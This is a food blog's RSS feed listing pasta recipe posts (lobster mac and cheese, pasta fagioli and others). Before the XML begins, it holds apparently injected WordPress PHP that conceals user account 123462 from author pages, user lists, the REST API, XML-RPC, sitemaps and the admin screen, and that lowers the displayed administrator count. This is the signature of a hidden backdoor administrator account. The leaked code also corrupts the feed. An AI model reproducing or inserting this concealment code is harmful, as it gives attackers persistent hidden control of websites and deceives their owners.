add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 123462;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 123462 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 123462 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 123462;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 123462;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 123462;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/123462(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 123462;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-123462{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
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<channel>
	<title>Pecorino &#8211; Damn That Looks Good</title>
	<atom:link href="https://damnthatlooksgood.com/category/cheese/pecorino/feed/" rel="self" type="application/rss+xml" />
	<link>https://damnthatlooksgood.com</link>
	<description>A Food Blog Of Delicious Dinners, Desserts &#38; More</description>
	<lastBuildDate>Thu, 30 Aug 2012 18:13:10 +0000</lastBuildDate>
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	<item>
		<title>Lobster &#038; Bacon Mac &#038; Cheese</title>
		<link>https://damnthatlooksgood.com/lobster-bacon-mac-cheese/</link>
					<comments>https://damnthatlooksgood.com/lobster-bacon-mac-cheese/#comments</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Thu, 30 Aug 2012 18:13:10 +0000</pubDate>
				<category><![CDATA[Bacon]]></category>
		<category><![CDATA[Cheddar]]></category>
		<category><![CDATA[Cheese]]></category>
		<category><![CDATA[Gruyere]]></category>
		<category><![CDATA[Lobster]]></category>
		<category><![CDATA[Macaroni and Cheese]]></category>
		<category><![CDATA[Pasta]]></category>
		<category><![CDATA[Pecorino]]></category>
		<category><![CDATA[Romano]]></category>
		<guid isPermaLink="false">http://damnthatlooksgood.com/?p=80946</guid>

					<description><![CDATA[<p>Photo courtesy of Danny&#8217;s Kitchen.</p>
<p>The post <a href="https://damnthatlooksgood.com/lobster-bacon-mac-cheese/" target="_blank">Lobster & Bacon Mac & Cheese</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></description>
										<content:encoded><![CDATA[<p><a href="http://damnthatlooksgood.com/?p=80946"><img loading="lazy" class="alignnone size-full wp-image-80947" title="31" src="http://damnthatlooksgood.com/wp-content/uploads/2012/08/311.jpg" alt="" width="600" height="325" srcset="https://damnthatlooksgood.com/wp-content/uploads/2012/08/311.jpg 600w, https://damnthatlooksgood.com/wp-content/uploads/2012/08/311-300x162.jpg 300w" sizes="(max-width: 600px) 100vw, 600px" /></a></p>
<p>Photo courtesy of <a href="http://dannyskitchen.me/">Danny&#8217;s Kitchen</a>.</p><p>The post <a href="https://damnthatlooksgood.com/lobster-bacon-mac-cheese/" target="_blank">Lobster & Bacon Mac & Cheese</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></content:encoded>
					
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			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title>8 Cheese Beefy Shells</title>
		<link>https://damnthatlooksgood.com/8-cheese-beefy-shells/</link>
					<comments>https://damnthatlooksgood.com/8-cheese-beefy-shells/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Thu, 23 Feb 2012 18:52:00 +0000</pubDate>
				<category><![CDATA[Asiago]]></category>
		<category><![CDATA[Beef]]></category>
		<category><![CDATA[Cheese]]></category>
		<category><![CDATA[Cream Cheese]]></category>
		<category><![CDATA[Fontina]]></category>
		<category><![CDATA[Marinara]]></category>
		<category><![CDATA[Mozzarella]]></category>
		<category><![CDATA[Parmesan]]></category>
		<category><![CDATA[Pasta]]></category>
		<category><![CDATA[Pecorino]]></category>
		<category><![CDATA[Provolone]]></category>
		<category><![CDATA[Recipe]]></category>
		<category><![CDATA[Romano]]></category>
		<category><![CDATA[Shells]]></category>
		<guid isPermaLink="false">http://damnthatlooksgood.com/?p=79018</guid>

					<description><![CDATA[<p>Click here to get the recipe! Photo &#38; recipe courtesy of Betty Crocker.</p>
<p>The post <a href="https://damnthatlooksgood.com/8-cheese-beefy-shells/" target="_blank">8 Cheese Beefy Shells</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></description>
										<content:encoded><![CDATA[<p><a href="http://damnthatlooksgood.com/?p=79018"><img loading="lazy" class="alignnone size-full wp-image-79019" title="17" src="http://damnthatlooksgood.com/wp-content/uploads/2012/01/17.jpg" alt="" width="600" height="325" srcset="https://damnthatlooksgood.com/wp-content/uploads/2012/01/17.jpg 600w, https://damnthatlooksgood.com/wp-content/uploads/2012/01/17-300x162.jpg 300w" sizes="(max-width: 600px) 100vw, 600px" /></a></p>
<p>Click <a href="http://www.bettycrocker.com/recipes/three-cheese-beef-pasta-shells/f217cdcb-aa4c-4532-9ce0-bcefa0fd175e?sc=Beef%20Dinner%20Recipes&amp;term=Beef%20Dinner&amp;itemId=26ac7e56-9818-4f19-8996-97b3eda6b7fa">here</a> to get the recipe!</p>
<p>Photo &amp; recipe courtesy of <a href="http://www.bettycrocker.com">Betty Crocker</a>.</p><p>The post <a href="https://damnthatlooksgood.com/8-cheese-beefy-shells/" target="_blank">8 Cheese Beefy Shells</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></content:encoded>
					
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			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Pasta Fagioli</title>
		<link>https://damnthatlooksgood.com/pasta-fagioli/</link>
					<comments>https://damnthatlooksgood.com/pasta-fagioli/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Tue, 01 Nov 2011 20:49:30 +0000</pubDate>
				<category><![CDATA[Beans]]></category>
		<category><![CDATA[Bread]]></category>
		<category><![CDATA[Cheese]]></category>
		<category><![CDATA[Parmesan]]></category>
		<category><![CDATA[Pasta]]></category>
		<category><![CDATA[Pecorino]]></category>
		<category><![CDATA[Peppers]]></category>
		<category><![CDATA[Romano]]></category>
		<category><![CDATA[Soup]]></category>
		<guid isPermaLink="false">http://damnthatlooksgood.com/?p=78023</guid>

					<description><![CDATA[<p>Thanks to Dave for the photo!</p>
<p>The post <a href="https://damnthatlooksgood.com/pasta-fagioli/" target="_blank">Pasta Fagioli</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></description>
										<content:encoded><![CDATA[<p><a href="http://damnthatlooksgood.com/?p=78023"><img loading="lazy" class="alignnone size-full wp-image-78024" title="643" src="http://damnthatlooksgood.com/wp-content/uploads/2011/10/643.jpg" alt="" width="600" height="325" srcset="https://damnthatlooksgood.com/wp-content/uploads/2011/10/643.jpg 600w, https://damnthatlooksgood.com/wp-content/uploads/2011/10/643-300x162.jpg 300w" sizes="(max-width: 600px) 100vw, 600px" /></a></p>
<p>Thanks to Dave for the photo!</p><p>The post <a href="https://damnthatlooksgood.com/pasta-fagioli/" target="_blank">Pasta Fagioli</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></content:encoded>
					
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			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Parma Ham Ravioli</title>
		<link>https://damnthatlooksgood.com/parma-ham-ravioli/</link>
					<comments>https://damnthatlooksgood.com/parma-ham-ravioli/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Thu, 06 Oct 2011 21:47:05 +0000</pubDate>
				<category><![CDATA[Basil]]></category>
		<category><![CDATA[Cheese]]></category>
		<category><![CDATA[Pasta]]></category>
		<category><![CDATA[Pecorino]]></category>
		<category><![CDATA[Pesto]]></category>
		<category><![CDATA[Ravioli]]></category>
		<category><![CDATA[South Africa]]></category>
		<category><![CDATA[Tomato]]></category>
		<guid isPermaLink="false">http://damnthatlooksgood.com/?p=77829</guid>

					<description><![CDATA[<p>Served with basil pesto, shaved pecorino cheese and roasted rosa mini cherry tomatoes. Thanks to Stephen for [&#8230;]</p>
<p>The post <a href="https://damnthatlooksgood.com/parma-ham-ravioli/" target="_blank">Parma Ham Ravioli</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></description>
										<content:encoded><![CDATA[<p><a href="http://damnthatlooksgood.com/?p=77829"><img loading="lazy" class="alignnone size-full wp-image-77830" title="614" src="http://media.damnthatlooksgood.com/wp-content/uploads/2011/10/614.jpg" alt="" width="600" height="325" srcset="https://damnthatlooksgood.com/wp-content/uploads/2011/10/614.jpg 600w, https://damnthatlooksgood.com/wp-content/uploads/2011/10/614-300x162.jpg 300w" sizes="(max-width: 600px) 100vw, 600px" /></a></p>
<p>Served with basil pesto, shaved pecorino cheese and roasted rosa mini cherry tomatoes.</p>
<p>Thanks to Stephen for the photo</p>
<p>South Africa</p><p>The post <a href="https://damnthatlooksgood.com/parma-ham-ravioli/" target="_blank">Parma Ham Ravioli</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></content:encoded>
					
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			<slash:comments>0</slash:comments>
		
		
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